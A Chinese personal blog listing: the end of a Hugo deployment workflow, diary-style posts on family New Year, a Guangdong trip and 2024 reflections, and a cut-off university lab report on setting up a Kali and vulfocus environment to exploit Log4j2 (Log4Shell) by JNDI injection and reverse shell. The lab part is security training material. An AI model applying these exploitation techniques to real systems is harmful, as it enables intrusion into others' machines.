https://github.com/gohugoio/hugo/releases/download/v${HUGO_VERSION}/hugo_extended_${HUGO_VERSION}_linux-amd64.deb \ && sudo dpkg -i ${{ runner.temp }}/hugo.deb - name: Install Dart Sass run: sudo snap install dart-sass - name: Checkout uses: actions/checkout@v4 with: submodules: recursive - name: Setup Pages id: pages uses: actions/configure-pages@v5 - name: Install Node.js dependencies run: "[[ -f package-lock.json || -f npm-shrinkwrap.json ]] && npm ci || true" - name: Cache Restore id: cache-restore uses: actions/cache/restore@v4 with: path: ${{ runner.temp }}/hugo_cache key: hugo-${{ github.run_id }} restore-keys: | hugo- - name: Build with Hugo env: HUGO_CACHEDIR: ${{ runner.temp }}/hugo_cache HUGO_ENVIRONMENT: production run: | hugo --minify --baseURL "${{ steps.pages.outputs.base_url }}/" - name: Upload artifact uses: actions/upload-pages-artifact@v3 with: path: ./public - name: Cache Save uses: actions/cache/save@v4 with: path: ${{ runner.temp }}/hugo_cache key: ${{ steps.cache-restore.outputs.cache-primary-key }} deploy: environment: name: github-pages url: ${{ steps.deployment.outputs.page_url }} runs-on: ubuntu-latest needs: build timeout-minutes: 5 steps: - name: Deploy to GitHub Pages id: deployment uses: actions/deploy-pages@v4 参考

4/5/2025
articleCard.readMore

随想250129年夜

清冷的年夜 年夜十一点半,想吃腊牛肉夹馍,忍不住下楼觅食,顺便散散心,看看年夜的街景。 奶奶已经睡了,也没打开电视看春晚,爸妈在武汉过年,家里只有一个还醒着的我,算是打出生来过的最冷清的年吧。 昨天去大舅家为团圆饭摆桌子时,大舅在抱怨桌子一年比一年小,来的人一年比一年少。想来这两天大舅脾气不好也是因为这个原因吧。 忽然意识到,大舅这一辈是几个亲兄弟姐妹的家庭聚在一起过年,外公去世后,一直都是大舅当这个大家庭的主心骨。我和同辈的兄弟姐妹们只是表亲的关系,生活更是相距甚远。这个大家庭的团聚,也许不得不随着上一辈的老去而逐渐消散了。 是啊,家里的年真的一年比一年冷清。记得刚去武汉的时候,回西安的年夜饭还是在老房子或者乾县,一大家子人整整齐齐的,大舅二舅姨妈和我们家,每家的父母子女都聚在一起。到了年夜里,还会跑到楼下放炮。待到年后几天,就是挨家挨户的串门了。后来长大些,年夜渐渐不放跑了,我以为是我长大了。再后来,哥哥姐姐或者这个那个亲戚总会少几个,大家都有自己的事情,自己的生活。要说具体的分界点,恐怕就是外公的离去了。 人变了,感情不知道变没变,倒是饭菜没什么大变化,还是凉菜和蒸碗,最喜欢的就是凉拌牛肉了。 其实并没有那么不能接受这样的变化,只是旧事物的消散总是那么让人感伤,只是年冷清,我的心这两天恰巧也冷清… 悲欢并不相通 走到街上,本想着总有几家开门的馆子摊位吧,结果发现大街上空无一人,街边的店面更是大门紧闭。转悠了一圈,终于看到两个卖炸串的推车还在开张。 于是,典中典地,脑袋里蹦出来劳动者为生计年夜放弃团聚只为多赚钱的“悲愤”。这种想法居然持续到跟老板搭话,知晓她们回民不过年才停止。 年味在中国人心中还是重要的,不差那要放弃团聚才能多赚点钱的年夜开张了,我想到。低头看了看手机,还有五分钟就到新年了,耳边的烟花声音越来越大,我又抬起头望向高楼大厦的缝隙,见到了一束束烟花。 楼宇间,烟花绽放,璀璨夺目,想起奶奶还一个人在家,我向着家里走去。进楼前,有几个家庭正带着孩子出来放炮,猛然间,脑海里印出了那句话:悲欢并不相通。 总之 新年快乐!

1/29/2025
articleCard.readMore

粤旅250111

前言 和朋友出远门旅游的想法应该有了一两年了,今年五月的时候和 wy 第一次尝试,两个人从北京去乌兰察布玩了两天,由于实在没啥规划,完全是俩人都闲的受不了了,吃喝玩乐没那么如愿。所以这次去广东玩,期待是有的,但也有失望而归的准备。Luckily,这次的二人旅行还是很愉快的,虽然有些小插曲,但总体来说还是很开心的。 俩人一起出去旅行也不完全是一时兴起,之前就零零散散地和 lcy 提起过,趁着都保研了有些时间,就干脆利落定下来了。 行程 武汉-深圳 1.10 18:27—>1.11 07:15 列车 T95 12小时48分钟 武昌站-深圳东站 【1】深圳 1.11早-1.12午 深圳-珠海 1.12 14:00—>1.12 15:15 轮船 迅隆11 75分钟 蛇口港-珠海横琴 【2】(珠海)横琴 1.12下午-1.13午 珠海-顺德 1.13 15:54—>1.13 16:37 高铁 - 43分钟 前山站-顺德站 【3】(佛山市)顺德 1.13下午-1.14下午 顺德-广州 1.14 16:50—>1.14 18:20 地铁 - 90分钟 3号线 顺德欢乐海岸-2号线 公园前 【4】广州 1.14晚-1.16晚 广州-武汉 1.16 18:06—>1.16 22:10 列车 G1118 4小时 广州北站-武汉站 推荐 深圳: 【1】 合顺石墨肠粉汤粉炒粉粥 肠粉 【2】 悦景酒家 罗湖店 早茶 珠海: 【3】 澳景湾·电玩度假海景公寓 珠海国际会展中心店 民宿 【4】 珠海香洲区 海贝桥 拍照打卡 【5】 华欢冰室-WahFoon 横琴店 澳门茶餐厅 【6】 夏湾小吃街 小吃 【7】 野狸岛 拍照打卡 美食 【8】 正方·喜市多便利店(海峡店) 拍照打卡 【9】 PAUL KEI 澳门葡记手信现烤店(海韵城店) 葡式蛋挞 顺德: 【10】 欣欣饭堂 私房菜 桑拿鸡 【11】 大良华盖路小吃街 小吃 【12】 全季酒店佛山顺德华侨城欢乐海岸PLUS店 酒店 【13】 杏坛公平靓正(大良店) 粥底火锅 【14】 何姨葛水(清晖店) 糖水 广州: 【15】 北京路步行街 小吃 【16】 民强茶铺·鲜奶茶(惠福东路店) 沙示柠檬茶 【17】 又一间茶点轩(江南店) 早茶 【18】 广州柏悦酒店·悦吧高空酒吧 酒吧 【19】 伯友茶记(白云路店) 茶餐厅 详细旅途 I. T95 武汉->深圳 1.10 夜 绿皮火车上,本来想着带 Switch 一起玩打发时间,最后果然是没怎么玩,一直聊到凌晨一点。 讨论了未来的学业与就业,他比我更现实,而我总是想万全。我总认为困难是进入门槛,自信无论在什么环境总能适应,而他会警惕无法胜任 offer 的风险。讲真,跟他经常聊聊还挺好的,受益匪浅。 1. 深圳 1.11早-1.12午 1.1 五十年不变 深圳气温比北京暖和,下了火车后,在 lihan 键政梗小鬼人格的驱使下,我们直奔了打卡点打卡。 1.2 巴登街肠粉 随后我们去了巴登街的一家肠粉店(合顺石墨肠粉汤粉炒粉粥【1】),点了肠粉油条豆浆等 lcy 舅舅接我们去市区。双肉双蛋的肠粉比在学校食堂吃的味道淡些,量更大。 1.3 南科大 到了市区,先去了南科大见高中同学。校园很大,虽没啥显眼的建筑,内部倒是颇为精致。我们在校园里走了一圈,然后去了附近的一家烤肉自助(南里奥)。味道其实不错,不过早上肠粉量太足了,实在吃不下多少,而且 lcy 和我主要想来品味当地的特色,所以这餐非常一般了。 几个在深圳读书的同学可能对当地的美食与风景麻木了,饭后讨论接下来的行程时,他们都不太感兴趣。最终,我们决定去转转华强北和深圳湾公园。等同学收拾东西时候,跟 lcy 去网鱼开了把漫威争锋哈哈。 1.4 华强北 总在网上听说华强北,其实一直对这三个字没啥概念,到了实地,倒是见面不如闻名,只是一个其貌不扬的大型电子市场。转了一圈,我们就出发去深圳湾公园了。 1.5 深圳湾公园 深圳湾公园和红树林公园挨着,地铁坐到深圳湾公园站,出站后就是深圳湾公园。虽然是工作日,公园里人还是密密麻麻,靠近海边的地方还有些零零碎碎的缝隙,站过去可以可以看到对岸的香港和链接深圳香港的深圳湾公路大桥(一开始认成了港珠澳大桥哈哈)。 转眼夕阳降至,人也越来越多,试着摆姿势找角度拍了几张照片,总是不太满意。 鸽子、夕阳、海风还有帅哥:),笨拙的双手还是装不下这些美好。 晚上一行人吃了啫啫煲(啫火啫啫煲(深圳龙华天虹购物中心店)),性价比一般,味道也一般,连锁店其实北京也有,没吃出什么特色。 1.6 深圳早茶-悦景酒家 和 lcy 的旅行目标主要是美食,合计了下预算,遂决定尝试奢侈一把,试试深圳的早茶天花板————悦景酒家(悦景酒家 罗湖店【2】)。 上午十点左右到店,一楼散桌还有座位,看到菜单,价格属实麻了,甚至我俩都没敢点招牌的贵菜,捡着勉强称得上划算的多点了几道尝尝味。 味道确实好吃,甚至不吃海鲜的我也尝了一口虾饺,算是尝了当地的特色。 II. 跨海轮渡 深圳->珠海 1.12 下午 饭后我们按计划乘轮渡前往珠海横琴,除了时间和价格合适,第一次坐海上的轮船也算是尝鲜。 (码了下信息) (港珠澳大桥) 头等舱价格没差多少,索性选择一次尝鲜个够。相比一楼,二层头等舱人少不少,虽说有座位号,没有人其实也可以选择风景好的位置随便坐。不过虽然有免费零食饮料(果断选择维他柠檬茶哈哈),可惜玻璃脏兮兮的也拍不出好看的风景(也许是我技术太差)。 2. 珠海 1.12下午-1.13下午 2.1 珠海半日速通-海贝桥 花海长廊 华欢冰室 横琴口岸 励骏庞都广场 查了些攻略,Pass 了情侣打卡点(疑似有点男同了)明确了目标,决定主要行程在横琴岛上,遂先去了酒店放下行李,然后开始我们的珠海速通之旅。 (民宿酒店37层的落地窗外风景) 又一个第一次,听 lcy 的建议选择了民宿(澳景湾·电玩度假海景公寓 珠海国际会展中心店【3】),直接给珠海之旅开了个彩头。不说两室两厅的大房子,但落地窗外这个风景,225 元俩人太值了。 这次旅行除了美食,也想试着学点拍照的技术,跟着小红书抄了点小技巧,还有打卡点,照片确实比之前拍的好看了不少。 (珠海香洲区 海贝桥【4】) (珠海香洲区 花海长廊 其实没啥花了,小公园没啥特点) 珠海与澳门隔海相望,晚餐就尝试了澳门茶餐厅。猪扒包、冻柠茶还是很对我胃口的。(华欢冰室-WahFoon 横琴店【5】) 餐毕出来,发现恰巧这里是之前取消计划的打卡点之一————励骏庞都广场,对面正是通往澳门的横琴口岸。照例摆弄了一下姿势,拍了几张照片,发现换上 lcy 的外套好像还可以哈哈。 (逆天打码哈哈) 夜里和 lcy 边聊边逛,记得聊的是大学我们各自的宿舍学习情况,去了一趟珠海的大陆部分上的一处景点————夏湾小吃街【6】。刚到这里时候是八点九点吧,看着很普通的街边零星布着一些小吃店铺。十点正打算离开时候,忽然在城管开路下,小吃推车摊子哗啦啦一瞬间不知从哪里钻出来涌入,顿时变成了人山人海的小吃天堂。也是十分震撼了。 夜里回到酒店,和 lcy 看他感兴趣的 b 站长篇纪实片,算是深入了解了加沙巴以战争。不过让我们聊到5点的还是经典的感情问题哈哈。 2.2 珠海的第二个半天 古今中外 野狸岛 葡式蛋挞 聊得太晚了,起来已经快下午了。根据计划,我们预定了下午去顺德的高铁,在珠海的最后一站定在了 野狸岛 【7】。接着上次的经验,我在小红书上找到了 正方·喜市多便利店(海峡店) 【8】,从这里望向野狸岛,古代中国风的名亭楼与现代西式的珠海大剧院刚好叠在一起,正好是个拍照的好地方。 风景拍的还凑合,加上了人像,就还得是专业人士来了。这里正是经典的“古今中外”风景打卡点,早就有几个专业摄影师候着等游客来找他们拍照了。花了20块钱拍了两张,别说还真不错哈哈。 (图片就不放了) 到了岛上,骑着车直奔海韵城(单手骑车,零一手托着 lcy 的行李箱,危险请勿模仿哈哈)。 这是一个不大的商业广场,时间有限,我们简单转了一圈,在 PAUL KEI 澳门葡记手信现烤店(海韵城店)【9】买了几个葡式蛋挞和糕点充作午餐。 价格稍贵,味道上蛋挞比平时吃的味道淡些,鸡蛋的味道更浓些,感觉也许很正宗? III. 高铁 珠海->顺德 1.13 下午 几十分钟的高铁主要在修图吧,第一次跟着小红书上的教程修图,说实话还有点乐在其中,调调曝光、对比度、饱和度,一顿操作下来,好像还真好看了不少。 3. 顺德 1.13下午-1.14下午 3.1 夜食顺德————欣欣饭堂桑拿鸡 大良华盖路小吃街/华盖山栈道 顺德轮到 lcy 来找馆子了,第一餐选到了一家私房菜————欣欣饭堂【10】。据说,网红唐仁杰对这里的桑拿鸡赞不绝口。 相较于前几天的高消费,一顿桑拿鸡的价格还是很亲民的,俩人吃个七分饱花了不到百元。鸡肉的做法和味道确实很特别,lcy 表示非常满意,下次还来。 时间尚早,饭后我们决定去大良华盖路小吃街【11】逛逛。 去的路上确实感觉到相比深圳、珠海,顺德是个生活气息更足的小城市。顺着小吃街一路走到头,我们甚至还爬了一段栈桥(华盖山栈道),只吃了俩金丝牛肉饼和民信老铺的甜品,lcy 对这里表示差评。 晚上回到酒店,lcy 又挑了个便宜舒服的酒店(全季酒店佛山顺德华侨城欢乐海岸PLUS店)【12】)。晚上看着电视又有点饿,一顿选择困难症后还是点了烧烤,把粥底火锅留到了第二天品尝(烧烤我表示差评)。 3.2 顺德翌日-杏坛公平靓正(大良店) 清晖园 离开酒店,想着都到什么欢乐海岸附近了,看看呗,到了地方发现只是一个再普通不过的低配欢乐谷,没啥好玩的。不过看着几个中学校服的女孩兴冲冲地冲进来,心里还是难免感慨与羡慕她们的青春的。不远的 渔人码头 也没啥特色,试着拍了几张,也没满意的照片,便匆匆离去了。 前一天吃桑拿鸡时,偶遇的路人大叔向我们介绍了这家粥底火锅(杏坛公平靓正(大良店)【13】),说是顺德的特色。到了地方看着菜单里不是海鲜就是五脏六腑,实在是不太对我的胃口,做法确实新鲜,用白米粥作火锅汤底,味道我倒是不敢恭维,不过 lcy 说还不错。 下一站我们前往了 清晖园。可惜当天赶上闭馆进不去,我们便在旁边尝了一家糖水铺子(何姨葛水(清晖店)【14】)。味道难说,我的评价是不如隔壁 1.98 的冻柠茶,店员小姐姐还在放 猪猪侠主题曲。 IV. 地铁 顺德->广州 1.14 下午 顺德现在是佛山的一个行政区,挨着广州,我们索性坐城际地铁去往广州。去往广州方向,人渐渐多了起来,一两个小时站着还是挺累的。 4. 广州 1.14晚-1.16晚 4.1 北京路 煲仔饭 民强茶铺沙示柠檬茶 想着佛山珠海消费不多,准备在广州再奢侈一波,住个看得见广州塔的酒店,不过看了看价格,还是算了。 选了家在 北京路步行街【15】 旁边的酒店,真是又贵又小又破旧,以后还是别住热门景点附近的酒店了。时间不算晚,行李放在酒店抱怨了一通后,我们去往北京路觅食。 目的地的几家煲仔饭味道和卫生条件都堪忧,硬着头皮吃完后又逛了会儿街,倒是发现了一家宝藏店铺————民强茶铺·鲜奶茶(惠福东路店)【16】。 这里的 沙示柠檬茶 属实让我俩没白来一趟————第一次喝风油精味道的柠檬茶,关键味道还可以哈哈(我单方面觉得,lcy 表示只是有特色,不好喝)。 4.2 极限特种兵-广州第二天 广州早茶 旅途已经进入了倒计时,广州我们才刚开始,早上第一站选定了一家广州早茶————又一间茶点轩(江南店)【17】。 这家虽然服务卖相远不如悦景酒家,味道并没有打多少折扣,更重要的是俩人不到百元吃到撑。 注意:这家用餐时间不同,折扣也不同,工作日下午两点后就餐低至 4.8 折扣。不过也因此这家不少特色菜是限时供应,注意提前了解几点有什么菜。 下一站是网红打卡点———圣心大教堂。虽然做了不少攻略,还是没拍出好看的照片,可能人不好看吧 T_T。(这里要注意教堂闭馆较早,不过其实闭关时刚好人少了,倒是拍照的好时机) 提前订好了的广州塔门票,我们随后赶往了令人期待的广州塔。说实话,一趟下来,200 元的票价还是有点不值的,身在其中反倒看不到美景了。我甚至被迫在塔上开了一场腾讯会议的组会。 (一张不带人的照片都没用,也不好看,算了不贴了) 想着最后一晚了,逍遥一次,我硬拉着 lcy 去了旁边的 广州柏悦酒店·悦吧高空酒吧【18】。 酒吧本就去的不多,高空酒吧更是没去过,本想着吃顿广州塔高空旋转餐厅自助餐过过瘾,可惜因为经典选择困难症错过了预定,钱就花在酒吧了。 讲真 人均 300 的低消还是有点麻的,不过这几天消费不多,奢侈一次吧。 坐在高空阳台,看着江景,不考虑价格,风景还是很好看的(虽然 lcy 觉得我有点 dinner 了)。情不自禁地开始幻想未来在珠海买一套海高空公寓,坐在阳台上喝酒看海,感觉肯定更棒(再来个美人在怀嘻嘻)。 晚上没吃饱有点绷,路边买了点吃的回去吃了。第二家广州的酒店也不行,距离广州塔近了属于是。 4.3 旅途最后一餐————伯友茶记 第二天上午本来先逛博物馆,可惜又忘了预约,白跑一趟,随后直奔了旅途最后一餐———伯友茶记(白云路店)【19】。 还是茶餐厅适合我啊,看着就有食欲。招牌的金砖猪扒饭不仅特色十足,还十分顶饱。 吃完最后一顿,便开始了回程(路上看时间还够,又拉着 lcy 去网吧打了会儿漫威争锋)。 V. G1118 广州->武汉 1.16 晚 车上聊了什么其实记不清了,回家时的地铁上,还在想着跟 lcy 再去吃哪些好吃的,第一次和朋友的旅行有点让我上瘾了。 有点突兀,不过还是想说,挚友难觅,珍惜眼前人(不是男同 QwQ )。

1/20/2025
articleCard.readMore

随想250104二零二四

卧铺上的前言 很多年没有坐过卧铺了。自武汉到西安的高铁开通后,假期里返乡一直是坐4个小时的高铁。还记得小时候回西安坐卧铺,我老想睡上铺,爸妈处于安全原因总是订的下铺的票,偶尔的一两次中铺上铺的机会总让我很兴奋。这里轮到自己订票了,倒是嫌麻烦,主动选了下铺。 列车和内饰似乎换了新皮肤,不再是熟悉的绿皮车,但每一个包厢还是靠窗的一对桌椅和相对的三层床。习惯了高铁的正襟危坐,再看卧铺里的旅客们都放松不少,我也脱下鞋子,蜷在床上抱上了电脑,码完这篇,一觉醒来后,就到汉口了。 2024的梦幻 倘若使我用一个词形容过去的一年,应是“梦幻”吧。人生五十年,如梦亦如幻。不用五十年,这三百六十日已然是梦幻了。 佛家说“一切有为法,如梦幻泡影,如露亦如电,应作如是观”。过去的一年里,我真切地感觉到这中虚幻之感,经历了许多,却没有一个在我手中掌控,能一把抓住。说是虚妄,又是我切实的体验。 怠惰并学习 2024开始的时候,已经过完了大学期间第一个单身的学期,在经历了报复性地学习(虽然都是杂七杂八不成体系的计算机技术)后,不是很典地开摆了。 记得年初第一款爆火的游戏幻兽帕鲁,在搭建私人服务器上狠狠实战了前段时间习得的计算机技术。在这微不足道的成就感的支持下,我稍微安心地玩了一段时间,不过很快焦虑又袭上心头。 寒假里,决定好了要好好学习考研,典中典地制定了各种计划,正如我一直以来的感觉,每当我觉得一切按照计划一切有条不紊地进行,就会取得理想的成果时,就已经点了。虽然无论时学习计划还是其他计划,我几乎都完全没有进行,但是在这种焦虑下,我零零碎碎地还是不时 get 一些新计算机小技能。虽然寒假里被爸妈逼迫裸考了雅思,但6.0的成绩也没让我有出国的想法,纯纯应付差事。 寒假后的学期里,距离考研的最终审判越来越近,我也放弃了在宿舍开卷的倔强,乖乖跑去自习室学习,高数算是开了个头吧,大部分时间又摆在了零零碎碎的计算机技术和更多的游戏上,不过总归是有定期学点东西的,所以仍然对考研充满信心。 暑假本打算留校学习,但很快发现恶劣的环境加上没人陪我,真待不下去了,回西安后更是直接开摆,我遂作出润香港的打算,后续直到保研的经历在保研帖子中有详细叙述,我就不赘述了。 梦幻的是,无论是看似稳扎稳打按计划学习考研,还是搞个雅思,直接润香港,这俩多少有点现实的路我都没走,反而因为运气和零零碎碎的奇怪技能走上了保研这条路。 昙花般暧昧 刚上大学时就嚷嚷着要脱单,真谈上了后一谈就是两年,分手后到2024年初,又燃起恋爱的想法。暑假的这篇感伤也点出了我需要人陪伴。 其实我一直都容易受周围同伴的影响,记得幼儿园时,老师想把听话的我放在调皮的同学旁企图让我影响他,最后反而是我一起调皮了。长大后,特别是高中大学,发现自己无论吃喝玩乐学习,总希望有人陪着自己,过去一年里,为了毕业后的前途努力,我也希望有伙伴一起陪伴,无奈宿舍人各有志,遂不得不独自坚强规划自己的未来。 保研后,想着要谈谈恋爱了,约过女生吃饭,不过发现相处起来不是很舒服,似乎本科期间,除了谈了两年的前女友,再也没遇到喜欢的女生了,我想原因也是自己社交太少了。 时间到了十二月,月初的夜里,记得时12月13日凌晨,打完炉石的我说刷刷知乎睡觉了,偶然刷到了soul的广告,千不该万不该地在好奇驱使下下载了。本不想多说什么,但是刚认识她的那两天晚上,我又感受到了久违的暧昧的上头,在床上开心地滚来滚去的我自然天真地以为遇到了爱情。 久困于平静的生活,我一直都期待做一些疯狂的事情,在这样的契机下,生日那天去找她也算不了什么困难了。于是天真的 lihan 穿上了舍友评价最高的衣服,一个人打车去了她的学校。 待我悻悻而归时,已是晚餐的时间了,在回去的出租车上,强烈的晕车感让我无暇伤心,直到下车路过宿舍而径直走过,眼眶才微微湿润起来。于是经历了人生第一次醉酒。我想我再也不会去墨可餐吧了。 其实也有好的哈哈,醉酒的 lihan 仍然知道什么该说什么不该说,在面对cwt的套话时守口如瓶,这倒打消了我一直以来的担忧。 其实至此,我应当死心了,但是谁让某人就是喜欢自我感动呢,直到码字的此刻,仍然… 之后的日子,我想着赶紧再网恋几个忘掉她,可惜这也是 nerd 的典中典幻想,网恋对于我而言也并非绰手可得的。 跨年前,在一周cp活动中认识了一个女生,虽然长我七岁,言谈间充满真诚与可爱,聊了不少,也因为同她一同看柯南电影跨年,发现了柯南挺好看的。她的出现又让我多少感受到了些世间的美好。 转念想想,下学期后,我就要回西安读研了,这样的距离我真的能维持这段关系吗?往后的相处中她还会那么天真可爱吗?我还能将心交给一个人吗?唉,也许我现在还不适合恋爱。 12月的这不到二十天,属于是速通恋爱了。。。 偶识的师哥 这一年最后一个月真是经历丰富啊哈哈,还认识了指导我做毕设的师哥。 9月底混完了毕设开题报告,就一直摆到12月才被师哥抓到工位开始敲毕设的代码。也算为数不多的好运吧,虽然课题不简单,但是因为和师哥的论文几乎一样,师哥提供了我思路和大致代码框架,我实现出代码,跑通就行了。 虽然只用写代码,但这密码学的代码真不是人写的,我平生第一次如此讨厌学计算机,痛恨写代码。因为代码太长太复杂,gpt 没法帮我直接写,加上里面全是各种对字符串进行加解密、通信传递、截取拼凑,真是给我整麻了。 与师哥的深入交流应该是在认识那个女生后了,记得是15号左右,和师哥去吃俄罗斯餐厅,我还记得路上我还在和她开心地聊天,师哥还问我怎么走路蹦蹦跳跳的,我马虎过去了。用餐过程中,师哥讲述了他的感情经历,我与师哥的交流也自此开始了。 也许这个年龄,这样经历(无趣又不安于无趣)的男生的交流都是从感情经历开始的吧,我也刚好把这段时间的经历与师哥分享了。之后的聚餐中,也算是跟着师哥慢慢提前了解点研究生的生活与tips。 抓不住 2024真的充满了梦幻,原以为的路都没有走上,却因一个又一个的偶然有了许多经历。 也许我就是这么矛盾吧: 喜欢确定,生活却总被偶然牵引; 留念过去,感情又会被时间磨平; 追求惊喜,人生可总被无聊填满; 渴望永恒,内心始终被绝望恐吓。 有人说这样的想法显得我似乎心思细腻,多愁善感。我总说,每个人都有这样一面,我并不特别,只是忍不住总想表达出来。 希望新的一年能重拾一门乐器,无论时钢琴还是小提琴,总让给我的情绪有一个宣泄的阀门吧。 ————2025.1.8 午夜于返鄂列车上

1/8/2025
articleCard.readMore

随想241226

不要磨灭一点惊喜 一直记得一个说法,读小说不要看插画,因为看了插画后,小说里的 characters 的形象就不再是你的想象了。记不得在哪里看到的,甚至可能是初中的语文阅读题,不过我倒是百分百笃信这种说法的,以至于引申到了很多方面。 我倒是不那么厌恶剧透,但哪怕是一句的影评,一个预告,乃至于一张海报,都同剧透一般会磨灭掉剧情给我的一点惊喜。是的,只是磨灭一点。 但在看《戏梦巴黎》前,拒绝看影评简介,我倒不是因为怕失去惊喜。 我的想法 我向来是喜欢对万事万物有自己的想法的,这种确定的感觉很重要。在浸润了对“现代”政治经济学批判的思想后,我开始有意识地阻止居伊·德波所谓的“景观”对我“纯洁”的想法的侵蚀。因此在看《戏梦巴黎》前,我承认我抱着我所鄙夷的“神圣感”去看这部电影,因而不想被影评简介中透露的观点————统治阶级与资产阶级影评人希望表达的观点————所影响,纵使资本主义下电影本身也是基于追逐利润的扩大再生产的副产物。 电影 不出所料地扯远了,看电影前,我的脑海里只有几个零零碎碎的关键词:“文艺”、“三级片”、“毛主义”、“五月风暴”,其实就这四个词,我期待着能从观影中汲取到法国乃至欧洲在上世界六十年代的文化氛围与后现代主义的思考。 令我失望的是,在最直接的层面,电影似乎始终在利用“性”的禁忌来表现一种超越的感觉,而剧中人物的台词与思考,却始终停留在一种“现代”的思维中。例如剧中的三人有着超越现实的关系,但是本身对于这种关系的理解却仍是看作是一种禁忌的玩乐————“如果你爸妈知道了怎么办”“她们不会知道的”“万一呢”“自杀”。当然,我们可能需要考虑他们仍然生活在真实的现代的社会中,这种“禁忌的玩乐”带来的社会性死亡确实可能是一种灾难,但我仍然更希望他们超越这种现实的观念,去理解与接受这种的关系真实存在的道理。 此外,电影中出现的毛的海报也是我观影的原因之一,这部剧对毛、革命、五月风暴、反战(越南战争)的讨论也仅仅在父子的交流、两个男主的交流、极少的画面中展现,我甚至可以理解为仅仅是一种极其精准的狗哨政治。 不过影中的两个男主关于越南战争的争执与最后一幕中美国小伙与法国浪子的暴力革命之争(对印上里奥读红宝书中“革命是暴动”的观点一幕)倒还是给了我一丝丝的惊喜,是的,只有一丝丝。 爱 不过电影终究还是催化出了我的一点灵感,关于爱的看法。 我的理性想来都是乐意去接受开放式的关系的,但感性上始终期待一生一世一双人的爱情,我讨厌感性与理性的矛盾,但很遗憾,感性始终更胜一筹,而理性也始终坚定。 但忽然的,我有了新的想法,有了一小步推进。我喜欢全新的想法,这会带来我一直以来最喜欢的情绪————惊喜。 对于接触恋人的其他男性,我总是担忧他们对我的地位造成威胁,比我更好,更吸引女友,从而从我这里夺走伴侣。但是,其实问题的关键很简单,我并不需要与恋人占据对方生活的百分百,并不需要比所谓“竞争者”的全部方面更好,我只需要因为我的一个或者几个方面对恋人的吸引,在恋人心中占据一个特殊的无可替代的位置。 不用成为全部的百分百,只做独一无二不可替代的一部分。 影评 有了自己的想法,该去看看影评了。 庸俗地讲,无论好坏,我喜欢不同的观点。

12/26/2024
articleCard.readMore

基于ActivityPub的实时想法展板搭建(待完成)

前言 一直就有中博客上设置一个实时动态页面的想法,记录一些突然蹦进脑袋里的想法。 最开始的时候,专门搞了一个文章页面,用评论区来记录,但是这样总怪怪的,就取消了。 大改博客后,我把所有使用了 musing tag 的文章作为 随想 在单独的随想页面展示,这样虽然emmm 齐整了点,但是还是不够实时。 看到 吕楪 的实时动态,发现这正是我需要的效果,顺着发现了 ActivityPub 协议,这个协议还可以让我们的博客和其他的社交平台进行去中心化交互,这样就可以实现一个实时动态了。 题外 诚然,我清楚地知晓,开发实时动态页面,抑或是其他什么,不过是在转移自己的注意力罢了。 有人会把个人的困顿愁虑用虚无缥缈的宏大叙事来掩饰,称这种忧伤不过是小布尔乔亚的无病呻吟,我虽已不这般骗自己,但料想自己和他们也没什么两样吧。 嘴上一直说自己运气好,其实一直不愿意把心放在这不可控的玄幻之物上。不过在她这里,我的运气似乎从来没有灵光。 就是忧伤, 没什么,就是忧伤 ActivityPub 根据 how-to 大概了解了 ActivityPub 的基本原理。 似乎开发这样一个留言板是一个浩大的工程,基于一个底层的协议,需要自己实现很多东西,精力还是放在完善毕设先,等以后有时间再来搞这个。 又注意到 Mastodon 这个开源的社交网络,是一种基于 ActivityPub 协议的实现,索性直接加个页面链接过去吧。

12/24/2024
articleCard.readMore

CUC网络安全实践记录

网络安全综合实践小组报告 工作安排 – 成员合作提交作业流程见于 GitHub 小组合作说明文档.md . 每个成员都完整复现出 网络安全 (2021) 综合实验 流程 复现完成后分工补充和改进内容 实验日程 2024.7.8-2024.7.13 个人学习并复现 网络安全 (2021) 综合实验 2024.7.14-2024.7.16 团队分工并改进实验 2024.7.16-2024.7.17 完成实验报告撰写并提交 搭建基本环境 – 在 kali 官网 下载 kali 虚拟机导入自己的虚拟机平台. 我们使用的是 VMware , kali 版本为 2024.1, 虚拟机网卡配置如下 : hostname: kali@victim user: kali eth0: NAT ip: 192.168.136.144 eth1: Host-Only ip: 192.168.5.132 host: kali@attacker user: kali eth0: NAT ip: 192.168.136.147 eth1: Host-Only ip: 192.168.5.135 – 安装和配置 docker : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 sudo apt update && sudo apt install -y docker.io docker-compose jq # 将当前用户添加到 docker 用户组,免 sudo 执行 docker 相关指令 # 重新登录 shell 生效 sudo usermod -a -G docker ${USER} # 切换到 root 用户 sudo su # 使用国内 Docker Hub 镜像源(可选步骤) # 国内 Docker Hub 镜像源可用性随时可能变化,请自测可用性 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://docker.chenby.cn"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker – 查看 git 和 docker 版本 : – 参考 小陈的容器镜像站 配置 docker 镜像源 : 使用命令 git clone https://github.com/c4pr1c3/ctf-games.git 克隆 ctf-games 仓库 : – 拉取 docker 镜像 vulfocus : 切换到 ctf-games/fofapro/vulfocus 目录下, 执行 bash start.sh, 选择 host-only 网卡对应的 IP 地址 : 在宿主机浏览器上访问此 IP 地址, 默认用户名和口令均为 admin : Log4j2 漏洞的检测和利用 Log4Shell 漏洞原理浅探 – 关键词 Log4j2:Apache Log4j2 是 Java 平台上的一个开源日志框架,它是 Log4j 的下一代版本,提供了更为高效且灵活的日志记录功能。 反弹 Shell:利用目标系统的漏洞来启动 shell 会话,然后访问受害者的计算机。目标是连接到远程计算机并重定向目标系统 shell 的输入和输出连接,以便攻击者可以远程访问它。 ldap:轻量级目录访问协议 (Lightweight directory access protocol) 是一种帮助用户查找有关组织、个人等的数据的协议。 LDAP 有两个主要目标:将数据存储在 LDAP 目录中并对访问该目录的用户进行身份验证。它还提供应用程序从目录服务发送和接收信息所需的通信语言。目录服务提供对网络中组织、个人和其他数据的信息所在位置的访问。 JNDI:Java Naming and Directory Interface 是一个应用程序编程接口(API),它为使用 Java TM 编程语言编写的应用程序提供命名和目录功能。它被定义为独立于任何特定的目录服务实现。因此,可以通过通用方式访问各种目录(新的、新兴的和已部署的)。 – 漏洞原理 在 NIST 网站中可以看到,按照 CVSS 3.1 的评分标准,该漏洞的评分为10分,是一个极其严重的漏洞。 在 cloudflare 的博客中,详细介绍了该漏洞的原理和利用方式: CVE-2021-44228 是 JNDI 注入漏洞,Log4j2 在日志记录时,支持通过 JNDI 进行查找。例如,日志消息可以包含类似 